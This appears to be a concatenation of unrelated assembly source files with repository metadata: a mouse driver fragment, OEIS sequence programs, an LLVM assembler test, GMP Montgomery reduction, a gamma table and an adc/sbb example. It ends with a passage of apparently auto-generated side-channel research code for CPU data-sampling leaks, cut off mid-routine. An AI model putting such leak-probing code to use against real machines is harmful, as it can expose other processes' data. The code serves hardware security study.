207 cmp cx, MAX_POSITION_X jbe notOutOfRangeX mov cx, MAX_POSITION_X notOutOfRangeX: cmp dx, MAX_POSITION_Y jbe notOutOfRangeY mov dx, MAX_POSITION_Y notOutOfRangeY: ; ; Shift buttons into BH for later manipulation. ; mov bh, mask MOUSE_B0 or mask MOUSE_B1 or mask MOUSE_B2 \ or mask MOUSE_B3 cmp ds:buttons, 0x82 jz notPress mov bh, mask MOUSE_B1 or mask MOUSE_B2 or mask MOUSE_B3 notPress: ; ; Deliver whatever events are required. ; call MouseSendEvents ; ; Go back to waiting for the start byte (Fall Through) ; error: ; ; Error -- discard byte but reset state machine ; mov ds:inState, IS_START done: ret FSMByte endp Resident ends
20.771654
80
0.554871
a863422c1f9d457a2a5b094a8005e6b10096f430
596
asm
Assembly
oeis/177/A177009.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/177/A177009.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/177/A177009.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A177009: a(n) = n^n - A002275(n). ; Submitted by Jamie Morken(s1) ; 0,-7,-84,-855,-7986,-64455,-287568,5666105,276309378,8888888889,274200559500,8804989337145,301763995481142,11100895714446905,437782779269748264,18445632962598440505,827229150775225653066,39346296964185426464313,1978418544549202478012868,104857588888888888888888889,5842586907274871410270013310,341427876253108446285535612473,20880467988736800923243921799456,1333735776739173013337970361732665,88817841968901412122779422336154514,6156119580196046199685563177289092665 add $0,1 mov $1,10 pow $1,$0 pow $0,$0 div $1,9 sub $0,$1
54.181818
468
0.854027
81442c49d7ec7d9465f00e6ac1df93ffacb18f7f
1,199
asm
Assembly
llvm/test/tools/llvm-ml/builtin_symbols.asm
mkinsner/llvm
589d48844edb12cd357b3024248b93d64b6760bf
[ "Apache-2.0" ]
2,338
2018-06-19T17:34:51.000Z
2022-03-31T11:00:37.000Z
llvm/test/tools/llvm-ml/builtin_symbols.asm
mkinsner/llvm
589d48844edb12cd357b3024248b93d64b6760bf
[ "Apache-2.0" ]
3,740
2019-01-23T15:36:48.000Z
2022-03-31T22:01:13.000Z
llvm/test/tools/llvm-ml/builtin_symbols.asm
mkinsner/llvm
589d48844edb12cd357b3024248b93d64b6760bf
[ "Apache-2.0" ]
500
2019-01-23T07:49:22.000Z
2022-03-30T02:59:37.000Z
; RUN: llvm-ml -filetype=s %s /I %S /Fo /dev/null 2>&1 | FileCheck %s --check-prefixes=CHECK,CHECK-REALTIME ; RUN: llvm-ml -filetype=s %s /I %S /Fo /dev/null --timestamp=0 --utc 2>&1 | FileCheck %s --check-prefixes=CHECK,CHECK-FIXEDTIME .code version_val TEXTEQU %@Version ECHO t1: %ECHO @Version = version_val ; CHECK-LABEL: t1: ; CHECK-NEXT: 1427 ECHO ECHO t2: if @Version gt 510 ECHO @Version gt 510 endif ; CHECK-LABEL: t2: ; CHECK-NEXT: @Version gt 510 ECHO ECHO t3: if @Version le 510 ECHO le 510 endif ; CHECK-LABEL: t3: ; CHECK-NOT: @Version le 510 ECHO line_val TEXTEQU %@Line ECHO t4: %ECHO @Line = line_val ; CHECK-LABEL: t4: ; CHECK-NEXT: @Line = [[# @LINE - 5]] ECHO t5: include builtin_symbols_t5.inc ; CHECK-LABEL: t5: ; CHECK: FileCur = {{.*}}builtin_symbols_t5.inc ; CHECK: FileName = BUILTIN_SYMBOLS ; CHECK-NOT: _T5 ECHO t6: %ECHO Date = @Date %ECHO Time = @Time ; CHECK-LABEL: t6: ; CHECK-REALTIME: Date = {{([[:digit:]]{2}/[[:digit:]]{2}/[[:digit:]]{2})}} ; CHECK-FIXEDTIME: Date = 01/01/70 ; CHECK-NOT: {{[[:digit:]]}} ; CHECK-REALTIME: Time = {{([[:digit:]]{2}:[[:digit:]]{2}:[[:digit:]]{2})}} ; CHECK-FIXEDTIME: Time = 00:00:00 ; CHECK-NOT: {{[[:digit:]]}} end
19.983333
128
0.64387
ad3bee757d30a29b60afe702d9b46f828fee6610
213
asm
Assembly
ioctl/IokClose.asm
osfree-project/FamilyAPI
2119a95cb2bbe6716ecacff4171866f6ea51b8d7
[ "BSD-3-Clause" ]
1
2021-11-25T14:01:48.000Z
2021-11-25T14:01:48.000Z
ioctl/IokClose.asm
osfree-project/FamilyAPI
2119a95cb2bbe6716ecacff4171866f6ea51b8d7
[ "BSD-3-Clause" ]
null
null
null
ioctl/IokClose.asm
osfree-project/FamilyAPI
2119a95cb2bbe6716ecacff4171866f6ea51b8d7
[ "BSD-3-Clause" ]
2
2021-11-05T06:48:43.000Z
2021-12-06T08:07:38.000Z
;-------------------------------------------------------- ; Category 4 Function 5EH Destroy logical keyboard ;-------------------------------------------------------- ; ; ; IOCLOSE PROC NEAR RET IOCLOSE ENDP
19.363636
57
0.333333
92dd6b5ffe257b25582f62f23e448d567fe88de8
507
asm
Assembly
programs/oeis/168/A168039.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/168/A168039.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/168/A168039.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A168039: Squares closest to 3*n. ; 0,4,4,9,9,16,16,25,25,25,25,36,36,36,36,49,49,49,49,64,64,64,64,64,64,81,81,81,81,81,81,100,100,100,100,100,100,121,121,121,121,121,121,121,121,144,144,144,144,144,144,144,144,169,169,169,169,169,169,169,169,196,196,196,196,196,196,196,196,196,196,225,225,225,225,225,225,225,225,225,225,256,256,256,256,256,256,256,256,256,256,289,289,289,289,289,289,289,289,289 mul $0,3 seq $0,194 ; n appears 2n times, for n >= 1; also nearest integer to square root of n. pow $0,2
72.428571
365
0.708087
502887bbf4bf1a9f388b4294e925d537f7d67bcf
809
asm
Assembly
oeis/142/A142131.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/142/A142131.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/142/A142131.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A142131: Primes congruent to 22 mod 37. ; Submitted by Jon Maiga ; 59,281,503,577,947,1021,1613,2131,2797,3019,3167,3389,3463,3833,3907,4129,4721,4943,5387,5683,6053,6571,6719,6793,7237,7459,7607,7681,7829,8273,9013,9161,9679,9901,10271,10567,10789,10937,11159,11677,12269,12343,12491,12713,13009,14341,14489,14563,15377,15451,16339,16487,16561,16931,17449,17597,18041,19373,19447,19891,20113,20261,20483,21001,21149,22037,22111,22259,22481,22777,23369,23813,23887,24109,24923,25219,25367,25589,26107,26699,26921,27143,27809,27883,28031,28549,28697,28771,29363,29437 mov $2,$0 add $2,6 pow $2,2 mov $4,21 lpb $2 mov $3,$4 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $1,$0 max $1,0 cmp $1,$0 mul $2,$1 sub $2,1 add $4,37 lpe mov $0,$4 add $0,1
36.772727
501
0.73424
80707426f73ba9a1529db94a5ea069f17692d353
1,499
asm
Assembly
programs/oeis/294/A294774.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/294/A294774.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/294/A294774.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A294774: a(n) = 2*n^2 + 2*n + 5. ; 5,9,17,29,45,65,89,117,149,185,225,269,317,369,425,485,549,617,689,765,845,929,1017,1109,1205,1305,1409,1517,1629,1745,1865,1989,2117,2249,2385,2525,2669,2817,2969,3125,3285,3449,3617,3789,3965,4145,4329,4517,4709,4905,5105,5309,5517,5729,5945,6165,6389,6617,6849,7085,7325,7569,7817,8069,8325,8585,8849,9117,9389,9665,9945,10229,10517,10809,11105,11405,11709,12017,12329,12645,12965,13289,13617,13949,14285,14625,14969,15317,15669,16025,16385,16749,17117,17489,17865,18245,18629,19017,19409,19805,20205,20609,21017,21429,21845,22265,22689,23117,23549,23985,24425,24869,25317,25769,26225,26685,27149,27617,28089,28565,29045,29529,30017,30509,31005,31505,32009,32517,33029,33545,34065,34589,35117,35649,36185,36725,37269,37817,38369,38925,39485,40049,40617,41189,41765,42345,42929,43517,44109,44705,45305,45909,46517,47129,47745,48365,48989,49617,50249,50885,51525,52169,52817,53469,54125,54785,55449,56117,56789,57465,58145,58829,59517,60209,60905,61605,62309,63017,63729,64445,65165,65889,66617,67349,68085,68825,69569,70317,71069,71825,72585,73349,74117,74889,75665,76445,77229,78017,78809,79605,80405,81209,82017,82829,83645,84465,85289,86117,86949,87785,88625,89469,90317,91169,92025,92885,93749,94617,95489,96365,97245,98129,99017,99909,100805,101705,102609,103517,104429,105345,106265,107189,108117,109049,109985,110925,111869,112817,113769,114725,115685,116649,117617,118589,119565,120545,121529,122517,123509,124505 sub $1,$0 bin $1,2 mul $1,4 add $1,5
187.375
1,425
0.806538
4fb602c1cd46955b1525512613e7dd32b653c963
276
asm
Assembly
Microprocessor_Interfacing_CSE_2006/Arithmetic_Calculations_Lab_2/addition_8bit.asm
aadhityasw/VIT-Labs
2c449f64f4fdd8c0ed5f2b51d05a7c586e6ab2ab
[ "CC0-1.0" ]
2
2021-11-18T05:30:24.000Z
2022-03-07T06:28:06.000Z
Microprocessor_Interfacing_CSE_2006/Arithmetic_Calculations_Lab_2/addition_8bit.asm
aadhityasw/VIT-Labs
2c449f64f4fdd8c0ed5f2b51d05a7c586e6ab2ab
[ "CC0-1.0" ]
null
null
null
Microprocessor_Interfacing_CSE_2006/Arithmetic_Calculations_Lab_2/addition_8bit.asm
aadhityasw/VIT-Labs
2c449f64f4fdd8c0ed5f2b51d05a7c586e6ab2ab
[ "CC0-1.0" ]
3
2021-10-14T01:10:34.000Z
2022-03-18T14:33:52.000Z
CODE SEGMENT ASSUME cs:code START: mov al, 01H mov bl, 02H add al, bl mov si, 10H mov [si], al mov al, 03H mov bl, 04H adc al, bl inc si mov [si], al mov al, 00H adc al, al inc si mov [si], al hlt CODE ENDS END START
13.8
16
0.532609
ceaadea01e4f3d3a46bede56a01e63dc39ba7b7d
6,471
asm
Assembly
deps/gmp.js/mpn/x86_64/redc_1.asm
6un9-h0-Dan/cobaul
11115a7a77924d6e1642f847c613efb25f217e56
[ "MIT" ]
184
2020-04-15T14:28:37.000Z
2020-09-22T15:57:55.000Z
deps/gmp.js/mpn/x86_64/redc_1.asm
6un9-h0-Dan/cobaul
11115a7a77924d6e1642f847c613efb25f217e56
[ "MIT" ]
3
2020-09-22T05:09:36.000Z
2020-09-22T11:56:00.000Z
deps/gmp.js/mpn/x86_64/redc_1.asm
6un9-h0-Dan/cobaul
11115a7a77924d6e1642f847c613efb25f217e56
[ "MIT" ]
5
2020-04-21T19:50:23.000Z
2020-09-22T10:58:02.000Z
dnl AMD64 mpn_redc_1 -- Montgomery reduction with a one-limb modular inverse. dnl Copyright 2004, 2008 Free Software Foundation, Inc. dnl dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or dnl modify it under the terms of the GNU Lesser General Public License as dnl published by the Free Software Foundation; either version 3 of the dnl License, or (at your option) any later version. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, dnl but WITHOUT ANY WARRANTY; without even the implied warranty of dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU dnl Lesser General Public License for more details. dnl dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C cycles/limb C K8,K9: 2.5 C K10: 2.5 C P4: ? C P6-15 (Core2): 5.3 C P6-28 (Atom): ? C TODO C * Handle certain sizes, e.g., 1, 2, 3, 4, 8, with single-loop code. C The code for 1, 2, 3, 4 should perhaps be completely register based. C * Perhaps align outer loops. C * The sub_n at the end leaks side-channel data. How do we fix that? C * Write mpn_add_n_sub_n computing R = A + B - C. It should run at 2 c/l. C * We could software pipeline the IMUL stuff, by putting it before the C outer loops and before the end of the outer loops. The last outer C loop iteration would then compute an unneeded product, but it is at C least not a stray read from up[], since it is at up[n]. C * Can we combine both the add_n and sub_n into the loops, somehow? C INPUT PARAMETERS define(`rp', `%rdi') define(`up', `%rsi') define(`param_mp',`%rdx') define(`n', `%rcx') define(`invm', `%r8') define(`mp', `%r13') define(`i', `%r11') define(`nneg', `%r12') ASM_START() TEXT ALIGN(32) PROLOGUE(mpn_redc_1) push %rbp push %rbx push %r12 push %r13 push %r14 push n sub $8, %rsp C maintain ABI required rsp alignment lea (param_mp,n,8), mp C mp += n lea (up,n,8), up C up += n mov n, nneg neg nneg mov R32(n), R32(%rax) and $3, R32(%rax) jz L(b0) cmp $2, R32(%rax) jz L(b2) jg L(b3) L(b1): C lea (mp), mp lea -16(up), up L(o1): mov nneg, i mov 16(up,nneg,8), %rbp C up[0] imul invm, %rbp mov (mp,i,8), %rax xor %ebx, %ebx mul %rbp add $1, i jnz 1f add %rax, 8(up,i,8) adc $0, %rdx mov %rdx, %r14 jmp L(n1) 1: mov %rax, %r9 mov (mp,i,8), %rax mov %rdx, %r14 jmp L(mi1) ALIGN(16) L(lo1): add %r10, (up,i,8) adc %rax, %r9 mov (mp,i,8), %rax adc %rdx, %r14 L(mi1): xor %r10d, %r10d mul %rbp add %r9, 8(up,i,8) adc %rax, %r14 adc %rdx, %rbx mov 8(mp,i,8), %rax mul %rbp add %r14, 16(up,i,8) adc %rax, %rbx adc %rdx, %r10 mov 16(mp,i,8), %rax mul %rbp xor %r9d, %r9d xor %r14d, %r14d add %rbx, 24(up,i,8) adc %rax, %r10 mov 24(mp,i,8), %rax adc %rdx, %r9 xor %ebx, %ebx mul %rbp add $4, i js L(lo1) L(ed1): add %r10, (up) adc %rax, %r9 adc %rdx, %r14 xor %r10d, %r10d add %r9, 8(up) adc $0, %r14 L(n1): mov %r14, 16(up,nneg,8) C up[0] add $8, up dec n jnz L(o1) C lea (mp), mp lea 16(up), up jmp L(common) L(b0): C lea (mp), mp lea -16(up), up L(o0): mov nneg, i mov 16(up,nneg,8), %rbp C up[0] imul invm, %rbp mov (mp,i,8), %rax xor %r10d, %r10d mul %rbp mov %rax, %r14 mov %rdx, %rbx jmp L(mi0) ALIGN(16) L(lo0): add %r10, (up,i,8) adc %rax, %r9 mov (mp,i,8), %rax adc %rdx, %r14 xor %r10d, %r10d mul %rbp add %r9, 8(up,i,8) adc %rax, %r14 adc %rdx, %rbx L(mi0): mov 8(mp,i,8), %rax mul %rbp add %r14, 16(up,i,8) adc %rax, %rbx adc %rdx, %r10 mov 16(mp,i,8), %rax mul %rbp xor %r9d, %r9d xor %r14d, %r14d add %rbx, 24(up,i,8) adc %rax, %r10 mov 24(mp,i,8), %rax adc %rdx, %r9 xor %ebx, %ebx mul %rbp add $4, i js L(lo0) L(ed0): add %r10, (up) adc %rax, %r9 adc %rdx, %r14 xor %r10d, %r10d add %r9, 8(up) adc $0, %r14 mov %r14, 16(up,nneg,8) C up[0] add $8, up dec n jnz L(o0) C lea (mp), mp lea 16(up), up jmp L(common) L(b3): lea -8(mp), mp lea -24(up), up L(o3): mov nneg, i mov 24(up,nneg,8), %rbp C up[0] imul invm, %rbp mov 8(mp,i,8), %rax mul %rbp mov %rax, %rbx mov %rdx, %r10 jmp L(mi3) ALIGN(16) L(lo3): add %r10, (up,i,8) adc %rax, %r9 mov (mp,i,8), %rax adc %rdx, %r14 xor %r10d, %r10d mul %rbp add %r9, 8(up,i,8) adc %rax, %r14 adc %rdx, %rbx mov 8(mp,i,8), %rax mul %rbp add %r14, 16(up,i,8) adc %rax, %rbx adc %rdx, %r10 L(mi3): mov 16(mp,i,8), %rax mul %rbp xor %r9d, %r9d xor %r14d, %r14d add %rbx, 24(up,i,8) adc %rax, %r10 mov 24(mp,i,8), %rax adc %rdx, %r9 xor %ebx, %ebx mul %rbp add $4, i js L(lo3) L(ed3): add %r10, 8(up) adc %rax, %r9 adc %rdx, %r14 xor %r10d, %r10d add %r9, 16(up) adc $0, %r14 mov %r14, 24(up,nneg,8) C up[0] add $8, up dec n jnz L(o3) lea 8(mp), mp lea 24(up), up jmp L(common) L(b2): lea -16(mp), mp lea -32(up), up L(o2): mov nneg, i mov 32(up,nneg,8), %rbp C up[0] imul invm, %rbp mov 16(mp,i,8), %rax mul %rbp xor %r14d, %r14d mov %rax, %r10 mov 24(mp,i,8), %rax mov %rdx, %r9 jmp L(mi2) ALIGN(16) L(lo2): add %r10, (up,i,8) adc %rax, %r9 mov (mp,i,8), %rax adc %rdx, %r14 xor %r10d, %r10d mul %rbp add %r9, 8(up,i,8) adc %rax, %r14 adc %rdx, %rbx mov 8(mp,i,8), %rax mul %rbp add %r14, 16(up,i,8) adc %rax, %rbx adc %rdx, %r10 mov 16(mp,i,8), %rax mul %rbp xor %r9d, %r9d xor %r14d, %r14d add %rbx, 24(up,i,8) adc %rax, %r10 mov 24(mp,i,8), %rax adc %rdx, %r9 L(mi2): xor %ebx, %ebx mul %rbp add $4, i js L(lo2) L(ed2): add %r10, 16(up) adc %rax, %r9 adc %rdx, %r14 xor %r10d, %r10d add %r9, 24(up) adc $0, %r14 mov %r14, 32(up,nneg,8) C up[0] add $8, up dec n jnz L(o2) lea 16(mp), mp lea 32(up), up L(common): lea (mp,nneg,8), mp C restore entry mp C cy = mpn_add_n (rp, up, up - n, n); C rdi rsi rdx rcx lea (up,nneg,8), up C up -= n lea (up,nneg,8), %rdx C rdx = up - n [up entry value] mov rp, nneg C preserve rp over first call mov 8(%rsp), %rcx C pass entry n C mov rp, %rdi CALL( mpn_add_n) test R32(%rax), R32(%rax) jz L(ret) C mpn_sub_n (rp, rp, mp, n); C rdi rsi rdx rcx mov nneg, %rdi mov nneg, %rsi mov mp, %rdx mov 8(%rsp), %rcx C pass entry n CALL( mpn_sub_n) L(ret): add $8, %rsp pop n C just increment rsp pop %r14 pop %r13 pop %r12 pop %rbx pop %rbp ret EPILOGUE()
19.258929
78
0.606861
dd8cb1f71fed973ade3854d5a04f9964aa58aa8c
509
asm
Assembly
misc/adc_sbb.asm
a1393323447/x86-Assambely
1daf3041fe6f44948925ceb7bb6668950dcbab25
[ "MIT" ]
3
2021-05-04T13:59:36.000Z
2021-08-23T16:03:13.000Z
misc/adc_sbb.asm
a1393323447/x86-Assambely
1daf3041fe6f44948925ceb7bb6668950dcbab25
[ "MIT" ]
null
null
null
misc/adc_sbb.asm
a1393323447/x86-Assambely
1daf3041fe6f44948925ceb7bb6668950dcbab25
[ "MIT" ]
null
null
null
; adc -> add with carry ; = 被加数 + 加数 + CF ; sbb -> sub with carry ; = 被减数 - 减数 - CF ; 将两个32的数字相加 ; 一个32位数字 -> 两个16位寄存器储存 ; eg: 0x 0001 f000 + 0x 0010 1000 ; [ BX ] [ AX ] [ DX ] [ CX ] mov bx, 0x0001 mov ax, 0xf000 mov dx, 0x0010 mov cx, 0x1000 ; 0001 f000 ; [ BX ] [ AX ] ; 0010 1000 ; [ DX ] [ CX ] ; 将低位和高位数字分别相加, 又因为低位相加前 CF = 0 ; 所以低位相加时可以不用 adc add ax, cx adc bx, dx ; 相加的结果: sum = bx:ax ; 减法同理 jmp $ times 510-($-$$) db 0 db 0x55, 0xaa
15.90625
40
0.510806
608ec49850340787537a620d12330437b30001b0
473
asm
Assembly
programs/oeis/163/A163070.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/163/A163070.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/163/A163070.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A163070: a(n) = ((4+sqrt(5))*(2+sqrt(5))^n + (4-sqrt(5))*(2-sqrt(5))^n)/2. ; 4,13,56,237,1004,4253,18016,76317,323284,1369453,5801096,24573837,104096444,440959613,1867934896,7912699197,33518731684,141987625933,601469235416,2547864567597,10792927505804,45719574590813,193671225869056,820404478067037,3475289138137204 mov $1,3 mov $3,1 lpb $0 sub $0,1 add $3,$1 mov $2,$3 sub $2,2 add $1,$2 add $1,$3 add $1,3 mov $3,$1 sub $3,1 sub $3,$2 lpe add $1,1
24.894737
240
0.680761
45feb7e45d90e221359cba54e2783ea6a7f7a260
2,509
asm
Assembly
Driver/Printer/PrintCom/Color/Correct/correctGamma21.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Driver/Printer/PrintCom/Color/Correct/correctGamma21.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Driver/Printer/PrintCom/Color/Correct/correctGamma21.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1993 -- All Rights Reserved PROJECT: PC GEOS MODULE: DotMatrix printers FILE: correctGamma21.asm AUTHOR: Jim DeFrisco REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 6/21/93 Initial revision DESCRIPTION: Gamma correction table for printing $Id: correctGamma21.asm,v 1.1 97/04/18 11:51:35 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ; A Gamma-correction table for GAMMA = 2.00 gamma21 segment resource byte 0x00, 0x10, 0x17, 0x1c, 0x20, 0x24, 0x27, 0x2a byte 0x2d, 0x30, 0x32, 0x35, 0x37, 0x3a, 0x3c, 0x3e byte 0x40, 0x42, 0x44, 0x46, 0x47, 0x49, 0x4b, 0x4d byte 0x4e, 0x50, 0x51, 0x53, 0x54, 0x56, 0x57, 0x59 byte 0x5a, 0x5c, 0x5d, 0x5e, 0x60, 0x61, 0x62, 0x64 byte 0x65, 0x66, 0x67, 0x69, 0x6a, 0x6b, 0x6c, 0x6d byte 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76 byte 0x77, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f byte 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87 byte 0x87, 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e byte 0x8f, 0x90, 0x91, 0x91, 0x92, 0x93, 0x94, 0x95 byte 0x96, 0x97, 0x97, 0x98, 0x99, 0x9a, 0x9b, 0x9c byte 0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa0, 0xa1, 0xa2 byte 0xa3, 0xa4, 0xa4, 0xa5, 0xa6, 0xa7, 0xa7, 0xa8 byte 0xa9, 0xaa, 0xaa, 0xab, 0xac, 0xad, 0xad, 0xae byte 0xaf, 0xb0, 0xb0, 0xb1, 0xb2, 0xb3, 0xb3, 0xb4 byte 0xb5, 0xb5, 0xb6, 0xb7, 0xb7, 0xb8, 0xb9, 0xba byte 0xba, 0xbb, 0xbc, 0xbc, 0xbd, 0xbe, 0xbe, 0xbf byte 0xc0, 0xc0, 0xc1, 0xc2, 0xc2, 0xc3, 0xc4, 0xc4 byte 0xc5, 0xc6, 0xc6, 0xc7, 0xc7, 0xc8, 0xc9, 0xc9 byte 0xca, 0xcb, 0xcb, 0xcc, 0xcc, 0xcd, 0xce, 0xce byte 0xcf, 0xd0, 0xd0, 0xd1, 0xd1, 0xd2, 0xd3, 0xd3 byte 0xd4, 0xd4, 0xd5, 0xd6, 0xd6, 0xd7, 0xd7, 0xd8 byte 0xd9, 0xd9, 0xda, 0xda, 0xdb, 0xdc, 0xdc, 0xdd byte 0xdd, 0xde, 0xde, 0xdf, 0xe0, 0xe0, 0xe1, 0xe1 byte 0xe2, 0xe2, 0xe3, 0xe4, 0xe4, 0xe5, 0xe5, 0xe6 byte 0xe6, 0xe7, 0xe7, 0xe8, 0xe9, 0xe9, 0xea, 0xea byte 0xeb, 0xeb, 0xec, 0xec, 0xed, 0xed, 0xee, 0xee byte 0xef, 0xf0, 0xf0, 0xf1, 0xf1, 0xf2, 0xf2, 0xf3 byte 0xf3, 0xf4, 0xf4, 0xf5, 0xf5, 0xf6, 0xf6, 0xf7 byte 0xf7, 0xf8, 0xf8, 0xf9, 0xf9, 0xfa, 0xfa, 0xfb byte 0xfb, 0xfc, 0xfc, 0xfd, 0xfd, 0xfe, 0xfe, 0xff gamma21 ends
40.467742
79
0.589876
bc95fbdd15cbce0b7be22ced0398b498ff3784df
868
asm
Assembly
kernel/arch/i386/ports.asm
lochnessdragon/exokernel
829e11e7c6502071691088e8585a54dfe812d1ed
[ "MIT" ]
1
2022-02-16T07:45:43.000Z
2022-02-16T07:45:43.000Z
kernel/arch/i386/ports.asm
lochnessdragon/exokernel
829e11e7c6502071691088e8585a54dfe812d1ed
[ "MIT" ]
null
null
null
kernel/arch/i386/ports.asm
lochnessdragon/exokernel
829e11e7c6502071691088e8585a54dfe812d1ed
[ "MIT" ]
null
null
null
bits 32 ; asm subroutinues with a C ABI global outportb global inportb ; sends a byte (second argument) to the port (first argument) ; stack: [esp + 8] the data byte ; [esp + 4] the I/O port ; [esp ] return address outportb: mov dx, word [esp+4] ; move the address of the I/O port into the dx register mov al, byte [esp+8] ; move the data to be sent into the al register out dx, al ; send the data to the I/O port ret ; returns a byte read from the port (first argument) ; stack: [esp + 4] the I/O port ; [esp ] return address inportb: ;push dx ; save registers mov dx, [esp + 4] ; move the address of the I/O port into the dx register. xor eax, eax ; clear the eax registers for use as a return in al, dx ; read the byte from the I/O port ;pop dx ; load registers ret
32.148148
83
0.624424
2ced4fc33141b7348b150382a958025d3b59fd5c
8,959
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_456.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_456.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_456.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r9 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x726b, %rsi lea addresses_normal_ht+0x1a12b, %rdi nop sub $13679, %r10 mov $92, %rcx rep movsl nop nop nop nop nop inc %rdx lea addresses_A_ht+0x1d4cb, %r9 mfence movw $0x6162, (%r9) add %rsi, %rsi lea addresses_normal_ht+0x1496b, %rsi lea addresses_normal_ht+0x131cb, %rdi nop nop nop nop nop xor %rbx, %rbx mov $116, %rcx rep movsb nop nop cmp %rbx, %rbx lea addresses_A_ht+0x76af, %rbx nop nop cmp $36167, %r9 mov $0x6162636465666768, %rcx movq %rcx, %xmm1 vmovups %ymm1, (%rbx) cmp $59471, %r9 lea addresses_D_ht+0x1c3b, %rdx nop nop nop nop nop sub $1448, %rsi mov (%rdx), %r9w nop cmp %rcx, %rcx lea addresses_WT_ht+0x8e6b, %rcx nop nop sub %rdi, %rdi mov $0x6162636465666768, %rbx movq %rbx, %xmm3 movups %xmm3, (%rcx) nop nop nop and $50723, %rax lea addresses_A_ht+0x18e6b, %rcx xor %rsi, %rsi movw $0x6162, (%rcx) nop nop nop nop nop add %rax, %rax lea addresses_WC_ht+0x186eb, %rsi sub $54981, %rbx mov $0x6162636465666768, %r10 movq %r10, (%rsi) nop nop nop mfence lea addresses_D_ht+0x711b, %rsi lea addresses_A_ht+0x1bdfb, %rdi nop nop sub %r9, %r9 mov $2, %rcx rep movsw nop nop nop nop sub %rcx, %rcx lea addresses_WT_ht+0x75cb, %rax nop nop sub %rdi, %rdi mov (%rax), %r9d nop nop nop nop nop and %rax, %rax lea addresses_D_ht+0x929b, %rsi nop nop nop inc %r10 movb $0x61, (%rsi) xor 